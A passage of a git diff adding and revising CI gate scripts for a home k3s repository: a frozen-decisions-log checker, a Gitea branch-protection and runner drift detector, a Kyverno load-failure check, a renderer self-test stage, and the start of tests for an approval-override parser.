+#   #22 fix/crafty-oauth2-proxy-signin       CONFLICT (content): DECISIONS-LOG.md
+#   #20 feat/conformance-job-template        CONFLICT (content): DECISIONS-LOG.md
+#   #19 feat/conformance-trigger-kubeconfig  CONFLICT (content): DECISIONS-LOG.md
+#   #18 feat/conformance-runner-image        CONFLICT (content): DECISIONS-LOG.md
+#   #17 feat/ci-is-the-approver              clean — it wrote no handoff entry
+#
+# Nothing was wrong with any of those changes. The log's storage format serialised work that
+# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
+# rebases, each invalidating the gate run before it).
+#
+# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
+# disjoint paths and there is nothing to merge. See decisions/README.md.
+#
+# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
+# --------------------------------------------
+# The old habit is written into this repo in many places — the runbooks, the muscle memory of
+# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
+# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
+# that quietly re-creates the conflict for every other open branch, and the damage is only
+# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
+# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
+# it gets a guard rather than a paragraph.
+#
+# WHAT IS ASSERTED
+#   (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
+#       Re-pinning is a deliberate, reviewable line in a diff; appending is not.
+#   (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
+#       directory sorts chronologically and two agents cannot collide on a filename.
+#   (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
+#       filename — a disagreement means a copied template nobody edited.
+#   (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
+#       "What changed", "What I verified", "What I did NOT verify". This is the quality floor
+#       that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
+#       this repo's recurring failure is a confident report of something nobody measured, and an
+#       entry with nowhere to write "UNVERIFIED" does not get one written.
+#
+# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
+# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
+# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
+# add a fail-open surface to a guard whose whole job is to close one.
+set -uo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+set +e   # aggregate every problem in one run; do not stop at the first.
+
+cd "$REPO_ROOT"
+
+ARCHIVE="DECISIONS-LOG.md"
+PIN="decisions/ARCHIVE.sha256"
+rc=0
+
+# ---- (1) the archive is frozen ----------------------------------------------
+log "Stage: decisions log (archive frozen + entries well-formed)"
+
+if [ ! -f "$ARCHIVE" ]; then
+  err "${ARCHIVE} is missing. It is the frozen pre-2026-09-29 history and must stay in the tree."
+  summary "- decisions-log: **FAILED** (\`${ARCHIVE}\` missing)"
+  rc=1
+elif [ ! -f "$PIN" ]; then
+  err "${PIN} is missing, so the archive's integrity cannot be established."
+  err "  If you are re-pinning deliberately: sha256sum ${ARCHIVE} > ${PIN}"
+  summary "- decisions-log: **FAILED** (\`${PIN}\` missing — archive unverifiable)"
+  rc=1
+else
+  want="$(awk 'NR==1{print $1}' "$PIN")"
+  got="$(sha256sum "$ARCHIVE" | awk '{print $1}')"
+  if [ "$want" != "$got" ]; then
+    err "${ARCHIVE} HAS CHANGED. It is a FROZEN ARCHIVE — do not append to it."
+    err "    pinned:  ${want}"
+    err "    on disk: ${got}"
+    err ""
+    err "  Every branch that appends to this file's tail conflicts with every other branch that"
+    err "  does, on the same hunk. That is what made four of five open PRs unmergeable on"
+    err "  2026-09-29, and your commit would re-create it for branches that are not yours."
+    err ""
+    err "  Write your handoff as its OWN FILE instead:"
+    err "    decisions/\$(date +%F)-<your-branch-slug>.md      (see decisions/README.md)"
+    err "  and restore the archive:  git checkout -- ${ARCHIVE}"
+    err ""
+    err "  If the archive genuinely must change (redacting a leaked credential, say), that is a"
+    err "  reviewed act: re-pin it with 'sha256sum ${ARCHIVE} > ${PIN}' and say why in your entry."
+    summary "- decisions-log: **FAILED — the frozen archive \`${ARCHIVE}\` was modified** (append to \`decisions/\` instead)"
+    rc=1
+  else
+    ok "${ARCHIVE}: unchanged (sha256 matches ${PIN})"
+  fi
+fi
+
+# ---- (2)(3)(4) every entry is well-formed ------------------------------------
+shopt -s nullglob
+entries=( decisions/[0-9]*.md )
+shopt -u nullglob
+
+# Zero entries is legitimate only until the first handoff lands; after that the glob always
+# matches. It is never an error here — a branch that changes no behaviour owes no handoff, and
+# CLAUDE.md, not this stage, is what asks for one.
+if [ "${#entries[@]}" -eq 0 ]; then
+  log "no decisions/ entries yet"
+fi
+
+REQUIRED_SECTIONS=("What changed" "What I verified" "What I did NOT verify")
+
+for f in "${entries[@]}"; do
+  base="${f#decisions/}"
+
+  # (2) filename
+  if [[ ! "$base" =~ ^([0-9]{4}-[0-9]{2}-[0-9]{2})-([a-z0-9][a-z0-9-]*)\.md$ ]]; then
+    err "${f}: name must be decisions/YYYY-MM-DD-<slug>.md with a lowercase [a-z0-9-] slug."
+    err "  Use your branch's last segment as the slug — it is already unique per unit of work."
+    summary "- decisions-log: **FAILED** (\`${f}\` misnamed)"
+    rc=1
+    continue
+  fi
+  fname_date="${BASH_REMATCH[1]}"
+
+  if ! date -d "$fname_date" +%F >/dev/null 2>&1 || [ "$(date -d "$fname_date" +%F)" != "$fname_date" ]; then
+    err "${f}: '${fname_date}' is not a real calendar date."
+    summary "- decisions-log: **FAILED** (\`${f}\` — impossible date)"
+    rc=1
+    continue
+  fi
+
+  # (3) frontmatter
+  if [ "$(head -1 "$f")" != "---" ]; then
+    err "${f}: must open with a '---' YAML frontmatter block (date, branch, title)."
+    err "  See decisions/README.md for the template."
+    summary "- decisions-log: **FAILED** (\`${f}\` — no frontmatter)"
+    rc=1
+    continue
+  fi
+  fm="$(awk 'NR==1&&$0=="---"{inb=1;next} inb&&$0=="---"{exit} inb{print}' "$f")"
+  missing_keys=()
+  for k in date branch title; do
+    grep -qE "^${k}:[[:space:]]*\S" <<<"$fm" || missing_keys+=("$k")
+  done
+  if [ "${#missing_keys[@]}" -gt 0 ]; then
+    err "${f}: frontmatter is missing a non-empty ${missing_keys[*]}."
+    summary "- decisions-log: **FAILED** (\`${f}\` — frontmatter missing \`${missing_keys[*]}\`)"
+    rc=1
+    continue
+  fi
+  fm_date="$(grep -m1 -E '^date:' <<<"$fm" | sed -E 's/^date:[[:space:]]*//; s/[[:space:]"'\'']//g')"
+  if [ "$fm_date" != "$fname_date" ]; then
+    err "${f}: frontmatter date '${fm_date}' disagrees with the filename's '${fname_date}'."
+    err "  One of them was copied from a template and not edited; the log's ordering depends on both."
+    summary "- decisions-log: **FAILED** (\`${f}\` — date disagrees with filename)"
+    rc=1
+    continue
+  fi
+
+  # (4) the three required sections, each with a real body
+  body_start="$(awk 'NR>1 && $0=="---" {print NR; exit}' "$f")"
+  [ -n "$body_start" ] || body_start=1
+  for want_sec in "${REQUIRED_SECTIONS[@]}"; do
+    hdr_line="$(awk -v s="$body_start" -v w="## ${want_sec}" 'NR>s && $0==w {print NR; exit}' "$f")"
+    if [ -z "$hdr_line" ]; then
+      err "${f}: missing the required section '## ${want_sec}'."
+      err "  CLAUDE.md §7 asks for what you changed, what you verified, and what you did NOT."
+      err "  All three are structure here, because the third is the one that gets dropped."
+      summary "- decisions-log: **FAILED** (\`${f}\` — missing \`## ${want_sec}\`)"
+      rc=1
+      continue
+    fi
+    # A real body: at least 20 non-blank, non-heading characters before the next '## '.
+    nchars="$(awk -v s="$hdr_line" 'NR>s { if ($0 ~ /^## /) exit; print }' "$f" \
+             | tr -d '[:space:]' | wc -c)"
+    if [ "$nchars" -lt 20 ]; then
+      err "${f}: section '## ${want_sec}' is empty or a stub (${nchars} chars of content)."
+      err "  If nothing was verified, WRITE THAT — 'nothing was verified; the gate was not run'"
+      err "  is a valid and useful entry. A blank section is not."
+      summary "- decisions-log: **FAILED** (\`${f}\` — \`## ${want_sec}\` is a stub)"
+      rc=1
+    fi
+  done
+done
+
+if [ "$rc" -eq 0 ]; then
+  ok "decisions log: archive frozen, ${#entries[@]} entr$([ "${#entries[@]}" -eq 1 ] && echo y || echo ies) well-formed"
+  summary "- decisions-log: **passed** (archive frozen; ${#entries[@]} entries well-formed)"
+else
+  err "decisions log stage FAILED"
+fi
+exit "$rc"

ci/gate.sh

@@ -108,10 +108,13 @@ summary "## Merge gate (R-TEST-03)"
 summary ""
 
 run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
+run_stage decisions-log "${CI_DIR}/decisions-log.sh"
 run_stage lint          "${CI_DIR}/lint.sh"
 run_stage l0            "${CI_DIR}/l0.sh"
 run_stage render-golden "${CI_DIR}/render-golden.sh"
 run_stage l1            "${CI_DIR}/l1.sh"
+run_stage approval-policy "${CI_DIR}/approval-policy.sh"
+run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
 run_stage conformance   "${CI_DIR}/conformance.sh"
 
 echo >&2
@@ -188,6 +191,61 @@ case "${OUTCOME[spec-immutability]}" in
   pass) ok   "spec-immutability: green" ;;
 esac
 
+# approval-policy: the branch requires NO human approvals (required_approvals: 0) -- the GATE
+# is the approver, per operator intent. This stage is the single exception: a change to the
+# pipeline itself, the admission policies, the Flux wiring, the SOPS recipients or the RBAC
+# cannot honestly be approved BY the thing it changes, so those paths still need a human.
+#
+# It never SKIPS -- it exits 0 or 1 only, and blocks when it cannot evaluate. That is the
+# opposite of gitea-settings' tolerance and it is deliberate: there, a missing credential is a
+# lock-out; here, a missing credential would let an unreviewed change to the gate merge.
+case "${OUTCOME[approval-policy]}" in
+  fail) err "approval-policy: a sensitive change lacks a non-author approval -> blocks merge"; BLOCK=1 ;;
+  skip) err "approval-policy: did not run -- it is fail-closed by design, so treat as a block"; BLOCK=1 ;;
+  pass) ok  "approval-policy: green" ;;
+esac
+
+# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
+# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
+# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
+# in the change under test. It is deliberately NOT in the strict-skips loop below: making an
+# absent secret block every PR is precisely the lock-yourself-out failure this repo keeps
+# walking into (a required check with nothing able to satisfy it). So a skip denies a PASS
+# (exit 3) and says loudly what is unverified. Set REQUIRE_GITEA_SETTINGS=true once the
+# token is wired, and the skip becomes a block as it should.
+case "${OUTCOME[gitea-settings]}" in
+  fail) err "gitea-settings: Gitea DRIFTED from infra/gitea/expected-branch-protection.json -> blocks merge"; BLOCK=1 ;;
+  skip)
+    if truthy "${REQUIRE_GITEA_SETTINGS:-false}"; then
+      err "gitea-settings: skipped and REQUIRE_GITEA_SETTINGS=true -> blocks merge"
+      summary "- gitea-settings: **SKIPPED** (no token) — blocks merge (REQUIRE_GITEA_SETTINGS=true)"
+      BLOCK=1
+    else
+      warn "gitea-settings: skipped (no GITEA_SETTINGS_TOKEN) — branch protection and runner"
+      warn "  registration are UNVERIFIED. Both were silently wrong for a month. Wire the token"
+      warn "  (infra/gitea/set-ci-token.sh), then set REQUIRE_GITEA_SETTINGS=true."
+      summary "- gitea-settings: **SKIPPED** (no token — protection/runners unverified; not a pass)"
+      NOT_ESTABLISHED+=("gitea-settings")
+    fi ;;
+  pass) ok "gitea-settings: green" ;;
+esac
+
+# decisions-log: the handoff log's storage format. A FAIL means either the frozen archive
+# DECISIONS-LOG.md was modified — which re-creates, for every OTHER open branch, the tail-hunk
+# conflict that made four of five PRs unmergeable on 2026-09-29 — or a decisions/ entry is
+# malformed. Always blocks, and has no skip path by construction: the stage reads only files in
+# the tree under test and needs no tool or cluster, so there is no environment in which it
+# "could not run". A guard against a silent, delayed, misattributed regression must not itself
+# have a way to not-run.
+case "${OUTCOME[decisions-log]}" in
+  fail) err "decisions-log: FAILED -> blocks merge (see decisions/README.md)"; BLOCK=1 ;;
+  skip) err "decisions-log: reported SKIPPED, which this stage has no path to produce -> treat"
+        err "  as a defect in the stage itself and block."
+        summary "- decisions-log: **SKIPPED** (impossible by construction) — blocks merge"
+        BLOCK=1 ;;
+  pass) ok  "decisions-log: green" ;;
+esac
+
 # L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
 # unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
 # degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a

ci/gitea-settings.sh

@@ -0,0 +1,133 @@
+#!/usr/bin/env bash
+# ci/gitea-settings.sh — Stage: the Gitea platform settings that gate this repo still
+# match what git declares.
+#
+# WHY THIS STAGE EXISTS AT ALL
+# ----------------------------
+# Every other check in this repo reads the repository, the rendered manifests, or the
+# cluster. NONE of them can see Gitea's own database — and that is where branch
+# protection and runner registration live. On 2026-09-29 that blind spot was measured:
+#
+#   * `main` had NO branch protection, and
+#   * ZERO Actions runners were registered,
+#
+# for roughly a month, while DECISIONS-LOG.md recorded both as working and every agent
+# and human in the loop repeated that claim because the repository said so. PR #1 — the
+# first pull request this repo ever had — sat `pending` for 30.6 minutes with nothing to
+# execute it. Later the same day `enable_status_check` and `required_approvals` were turned
+# on and STILL did not bite, because `block_admin_merge_override` was false; PRs #5-#9
+# merged with zero approvals recorded against `required_approvals: 1`.
+#
+# Three separate failures, one shape: a setting that READ as enforced while not being, with
+# no mechanism anywhere that could notice. Scripts that ASSERT the desired state
+# (infra/gitea/*.sh) do not detect drift from it. This stage is the detector.
+#
+# WHAT IT ASSERTS
+#   1. every key in infra/gitea/expected-branch-protection.json `.protection` matches the
+#      LIVE rule at /repos/{repo}/branch_protections/{branch}, exactly;
+#   2. at least `.runners_online_min` Actions runners report status "online".
+#
+# (2) is not decoration. A required status check with no runner is the deadlock this repo
+# nearly walked into: every PR pends forever, including the one that would fix it.
+#
+# READ THE RULE OBJECT, NOT THE BRANCH VIEW. /repos/{repo}/branches/{branch} reports
+# `protected`, `enable_status_check` and `required_approvals` but NOT
+# `block_admin_merge_override` — it showed all-green while the rule was overridable by the
+# only account that merges. This stage queries /branch_protections/ deliberately.
+#
+# EXIT CODES (the gate contract)
+#   0  live Gitea matches the declaration
+#   1  DIVERGENCE — something drifted, or was never applied. Blocks the merge.
+#   3  SKIP — no token, or Gitea unreachable. Never a pass; see gate.sh, which treats this
+#      skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
+#      that an unwired credential cannot lock the repository.
+#
+# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
+# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
+# the drift it exists to catch is still undetected.
+#
+# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
+# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
+# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
+# detector sat inert for hours while a token existed and no secret did. The env var below still
+# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
+# the secret that would feed it cannot be created at all.
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: Gitea platform settings match the declaration"
+
+DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
+# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
+# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
+# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
+# it looked like it had worked. A token was minted, no secret existed, and this stage would
+# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+
+[ -f "$DECL" ] || die "declaration missing: ${DECL}"
+require_tool jq
+require_tool curl
+
+if [ -z "$TOKEN" ]; then
+  skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
+  skip "  Branch protection and runner registration are therefore UNVERIFIED. They were"
+  skip "  wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
+  summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
+  exit 3
+fi
+
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+BRANCH="$(jq -r '.branch' "$DECL")"
+LIVE="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/branch_protections/${BRANCH}" || true)"
+if [ -z "$LIVE" ] || ! jq -e 'type == "object" and has("branch_name")' >/dev/null 2>&1 <<<"$LIVE"; then
+  skip "could not read the branch-protection rule from ${GITEA_URL} (unreachable, or the token"
+  skip "  lacks permission). Not treating this as a pass."
+  summary "- gitea-settings: **SKIPPED — Gitea unreadable** (not a pass)"
+  exit 3
+fi
+
+RC=0
+
+# --- 1. every declared protection key must match the live rule, exactly ---------------
+while IFS= read -r key; do
+  want="$(jq -Sc --arg k "$key" '.protection[$k]' "$DECL")"
+  got="$(jq -Sc --arg k "$key" 'if has($k) then .[$k] else "<<ABSENT>>" end' <<<"$LIVE")"
+  if [ "$want" = "$got" ]; then
+    ok "  ${key} = ${got}"
+  else
+    err "  ${key}: DECLARED ${want} but LIVE is ${got}"
+    RC=1
+  fi
+done < <(jq -r '.protection | keys[]' "$DECL")
+
+# --- 2. a runner must actually be online ----------------------------------------------
+MIN="$(jq -r '.runners_online_min // 1' "$DECL")"
+RUNNERS="$(api "${GITEA_URL}/api/v1/admin/actions/runners" || true)"
+N="$(jq -r '[(.runners//[])[]|select(.status=="online")]|length' <<<"${RUNNERS:-{\}}" 2>/dev/null || echo 0)"
+if [ "${N:-0}" -ge "$MIN" ]; then
+  ok "  runners online: ${N} (>= ${MIN})"
+else
+  err "  runners online: ${N}, DECLARED minimum ${MIN}."
+  err "  A required status check with no runner leaves every PR pending forever —"
+  err "  including the PR that would fix it. This is the 2026-09-29 outage condition."
+  RC=1
+fi
+
+if [ "$RC" -eq 0 ]; then
+  ok "Gitea settings match the declaration."
+  summary "- gitea-settings: **green** (branch protection + runners match \`infra/gitea/expected-branch-protection.json\`)"
+else
+  err "Gitea has DRIFTED from infra/gitea/expected-branch-protection.json."
+  err "  Re-assert it (infra/gitea/require-gate.sh, block-admin-override.sh), or if the live"
+  err "  state is what you now want, change the DECLARATION in the same commit — deliberately."
+  summary "- gitea-settings: **DRIFT** — live Gitea does not match the declaration; blocks merge"
+fi
+exit "$RC"

ci/l0.sh

@@ -79,12 +79,37 @@ else
   cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
   find "$l0_render" -type f -name '*.yaml' -print0 \
     | xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
-  if kyverno test "$l0_render"; then
-    ok "Kyverno L0 policy tests passed"
-    summary "- kyverno-l0: **passed**"
+  # DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
+  # error, bad match block, malformed JMESPath) does not fail the run: every result row
+  # becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
+  #
+  # MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
+  # `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
+  # rows came back `Skip / Invalid Policy`, and the summary read:
+  #     Test Summary: 9 tests passed and 0 tests failed
+  # `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
+  # own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
+  #
+  # This is not specific to that policy: a typo in restrict-host-namespaces or
+  # secret-provenance would silently disable it and the gate would stay green. Scan the
+  # output for the load failure the exit code hides.
+  l0_kout="$(mktemp)"
+  if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
+    if grep -q 'Invalid Policy' "$l0_kout"; then
+      err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
+      err "  skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
+      err "  must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
+      grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
+      summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
+      rc=1
+    else
+      ok "Kyverno L0 policy tests passed"
+      summary "- kyverno-l0: **passed**"
+    fi
   else
     err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
   fi
+  rm -f "$l0_kout"
   rm -rf "$l0_render"
 fi
 

ci/l1.sh

@@ -30,11 +30,13 @@ req_args=(${REQ_ARGS[@]+"${REQ_ARGS[@]}"})
 # (conformance/_artifacts/) and does NOT accept --junit/--coverage. Invoke by layer +
 # touched subset, then COLLECT its artifacts into the CI artifact dirs.
 # --include-scope: union the touched subset with every L1 test DECLARING
-# `conformance.home.k3s/scope: whole-repo`. No L1 test declares it today, so this is a no-op
-# now — it is wired HERE, once, so the NEXT whole-repo invariant (at any layer) is picked up by
-# declaring the annotation, instead of needing someone to remember to hand-write a stage. That
-# "someone must remember" is the failure mode this whole change removes; see
-# conformance/lib/common.sh. rc 3 = a scope-declared check SKIPPED = UNWIRED, never a pass.
+# `conformance.home.k3s/scope: whole-repo`. As of 2026-09-18 ALL THREE L1 tests declare it, so this
+# is load-bearing rather than a no-op: every L1 golden is checked on every gate run, whatever the
+# touched paths attribute. It was wired HERE first, ahead of any declaration, so picking up a new
+# whole-repo invariant needs only the annotation instead of someone remembering to hand-write a
+# stage — and that "someone must remember" is exactly how the 2026-09-04 external-dns merge gated
+# GREEN while leaving all three goldens stale (see the rationale in the Tests themselves).
+# rc 3 = a scope-declared check SKIPPED = UNWIRED, never a pass.
 : "${WHOLE_REPO_SCOPE:=whole-repo}"
 l1_rc=0
 "$CONFORMANCE_CMD" --layer l1 --include-scope "$WHOLE_REPO_SCOPE" \

ci/render-golden.sh

@@ -1,5 +1,10 @@
 #!/usr/bin/env bash
-# ci/render-golden.sh — Stage: render==golden reproducibility gate.
+# ci/render-golden.sh — Stage: the renderer is trustworthy.
+#   (1) catalog/render.py passes its OWN output-contract self-test, and
+#   (2) every committed apps/ golden reproduces byte-for-byte from the canonical render.
+# Two independent assertions about one subject, catalog/render.py. (1) was added
+# 2026-10-01 because nothing in ci/ or .gitea/ had ever invoked `--selftest`; see the
+# block above the invocation for why it lives here and not in a conformance check.
 #
 # WHY: the committed apps/ tree is a set of GOLDENS produced by ONE canonical
 # invocation of catalog/render.py. If a golden is hand-edited, or a catalog
@@ -54,6 +59,54 @@ if [ ! -f "$RENDER_PY" ]; then
   summary "- render-golden: **SKIPPED** (renderer missing)"
   exit 3
 fi
+# --- The renderer's OWN self-test, before anything is compared ---------------
+# `catalog/render.py --selftest` is ~106 executed assertions on the renderer's output
+# contract (default-deny covers both directions, the Kyverno namespace hook label, a valid
+# auth-mode, the oauth2-proxy sidecar's cookie-name/-domain/-refresh flags, the
+# placeholder-substitution guard, the observability refusals...). Until now NOTHING in ci/
+# or .gitea/ invoked it — measured by grep on 2026-09-30 and recorded as the top follow-up
+# of decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md — so every one of those
+# assertions was dev-time only and a merge gate could not tell a sound renderer from a
+# gutted one.
+#
+# WHY HERE, AND NOT IN A CONFORMANCE CHECK. The lead was
+# conformance/tests/l0-static/auditability-proofs-producible/check.sh, which drives
+# `conformance/lib/{record_run,status}.py --selftest` "because nothing else drives them".
+# That loop is NOT the right hook: that check serves R-SEC-03 and its subject is the
+# EVIDENCE CHAIN (can a forged or stale run become a proof?). The renderer is not part of
+# that chain, and hanging it there would make the check's name and its requirement mapping
+# a lie. This stage's subject already IS catalog/render.py — it exists to assert that the
+# renderer's output is trustworthy — so the renderer's own contract test belongs in it.
+#
+# It runs BEFORE the catalog/empty-catalog exit-3 below on purpose: the self-test is
+# deterministic and catalog-independent (it renders synthetic ServiceDefinitions in
+# memory), so an empty catalog must not be able to skip it.
+#
+# render-golden and the self-test are INDEPENDENT assertions, which is why both are needed:
+# render-golden catches golden-vs-renderer drift but is satisfied by ANY renderer whose
+# output was re-rendered, including one that just lost a contract invariant and had all ten
+# goldens regenerated in the same commit. The self-test catches exactly that.
+#
+# FAILURE IS A HARD FAIL, NOT A SKIP: the renderer is source in this repo, so "could not
+# run its self-test" has no legitimate environmental cause once python3 and render.py are
+# both present (both asserted above). ci/gate.sh maps this stage's rc 1 to BLOCKED.
+log "Stage: catalog/render.py --selftest (the renderer's own output-contract assertions)"
+selftest_out="$(mktemp)"
+if "$PYTHON" "$RENDER_PY" --selftest >"$selftest_out" 2>&1; then
+  ok "render.py --selftest passed"
+  summary "- render-selftest: **passed** (\`catalog/render.py --selftest\`)"
+else
+  err "catalog/render.py --selftest FAILED — the renderer violates its own output contract."
+  err "  Every golden under apps/ is produced by this renderer, so the goldens below cannot"
+  err "  be trusted even if they reproduce byte-for-byte. Reproduce with:"
+  err "    ${PYTHON} catalog/render.py --selftest"
+  sed 's/^/    /' "$selftest_out" >&2 || true
+  summary "- render-selftest: **FAILED** (\`catalog/render.py --selftest\` — renderer contract violated)"
+  rm -f "$selftest_out"
+  exit 1
+fi
+rm -f "$selftest_out"
+
 if [ ! -d "$CATALOG_DIR" ] || ! compgen -G "${CATALOG_DIR}/*.yaml" >/dev/null 2>&1; then
   skip "no catalog ServiceDefinitions under '${CATALOG_DIR}' — nothing to render."
   summary "- render-golden: **SKIPPED** (empty catalog)"

ci/tests/approval-override.test.sh

@@ -0,0 +1,232 @@
+#!/usr/bin/env bash
+# ci/tests/approval-override.test.sh — proves ci/approval-override.py selects the override it
+# claims to select, and REJECTS the ones it claims to reject.
+#
+# This parser decides whether a human review requirement gets waived. Every rule in it exists
+# because the obvious implementation ("does the body contain the directive?") is wrong in a way
+# that is invisible until abused: a quoted directive would re-arm an override, a bare directive
+# would waive review with no stated reason, and an override posted against commit A would go on
+# covering commit B forever. A guard is worth nothing until somebody has watched it refuse, which
+# is the same reasoning as ci/tests/decisions-log.test.sh one layer up.
+#
+# The parser is pure and offline BY DESIGN — authorisation (the live permission lookup) lives in
+# ci/approval-policy.sh, which cannot be tested without Gitea. That split is what makes this file
+# possible, and it is also why a green run here does NOT prove the stage authorises correctly.
+set -uo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+SUT="${CI_DIR}/approval-override.py"
+
+PASS=0 FAIL=0
+ok()  { printf '  ok   %s\n' "$*"; PASS=$((PASS+1)); }
+bad() { printf '  FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
+
+HEAD_TIME="2026-10-01T12:00:00Z"
+AFTER="2026-10-01T12:30:00Z"
+BEFORE="2026-10-01T11:30:00Z"
+
+# run <comments-json> -> stdout of the parser (stderr is diagnostic only)
+run() {
+  COMMENTS_JSON="$1" REVIEWS_JSON="" HEAD_TIME="${2:-$HEAD_TIME}" DIRECTIVE="${3:-/approve-override}" \
+    python3 "$SUT" 2>/dev/null
+}
+
+# run_rev <reviews-json> — the same, but through the REVIEWS source.
+run_rev() {
+  COMMENTS_JSON="" REVIEWS_JSON="$1" HEAD_TIME="${2:-$HEAD_TIME}" DIRECTIVE="${3:-/approve-override}" \
+    python3 "$SUT" 2>/dev/null
+}
+
+# comment <login> <created_at> <body>
+comment() {
+  python3 -c '
+import json, sys
+print(json.dumps([{"user": {"login": sys.argv[1]}, "created_at": sys.argv[2], "body": sys.argv[3]}]))
+' "$1" "$2" "$3"
+}
+
+expect_none() {
+  local label="$1" out
+  out="$(run "$2")"
+  if [ -z "$out" ]; then ok "$label"; else bad "$label (got: ${out})"; fi
+}
+
+expect_user() {
+  local label="$1" json="$2" want="$3" out got
+  out="$(run "$json")"
+  got="$(cut -f1 <<<"$out")"
+  if [ "$got" = "$want" ]; then ok "$label"; else bad "$label (wanted ${want}, got '${got}')"; fi
+}
+
+expect_reason() {
+  local label="$1" json="$2" want="$3" out got
+  out="$(run "$json")"
+  got="$(cut -f4- <<<"$out")"
+  if [ "$got" = "$want" ]; then ok "$label"; else bad "$label (wanted '${want}', got '${got}')"; fi
+}
+
+# check <label> <actual> <wanted>
+check() {
+  if [ "$2" = "$3" ]; then ok "$1"; else bad "$1 (wanted '${3}', got '${2}')"; fi
+}
+
+# review <login> <submitted_at> <state> <body>
+review() {
+  python3 -c '
+import json, sys
+print(json.dumps([{"user": {"login": sys.argv[1]}, "submitted_at": sys.argv[2],
+                   "state": sys.argv[3], "body": sys.argv[4]}]))
+' "$1" "$2" "$3" "$4"
+}
+
+echo "== ci/approval-override.py"
+
+# --- the happy path -------------------------------------------------------------------
+expect_user "a directive with a reason, posted after the head commit, is selected" \
+  "$(comment jakman85 "$AFTER" '/approve-override sole admin, gate is green')" jakman85
+
+expect_reason "the reason is returned verbatim" \
+  "$(comment jakman85 "$AFTER" '/approve-override sole admin, gate is green')" \
+  'sole admin, gate is green'
+
+# --- absence is a normal answer, not an error -----------------------------------------
+expect_none "no comments at all" '[]'
+expect_none "an ordinary comment" "$(comment jakman85 "$AFTER" 'looks good to me')"
+
+# --- a reason is MANDATORY ------------------------------------------------------------
+expect_none "a bare directive (no reason) is refused" \
+  "$(comment jakman85 "$AFTER" '/approve-override')"
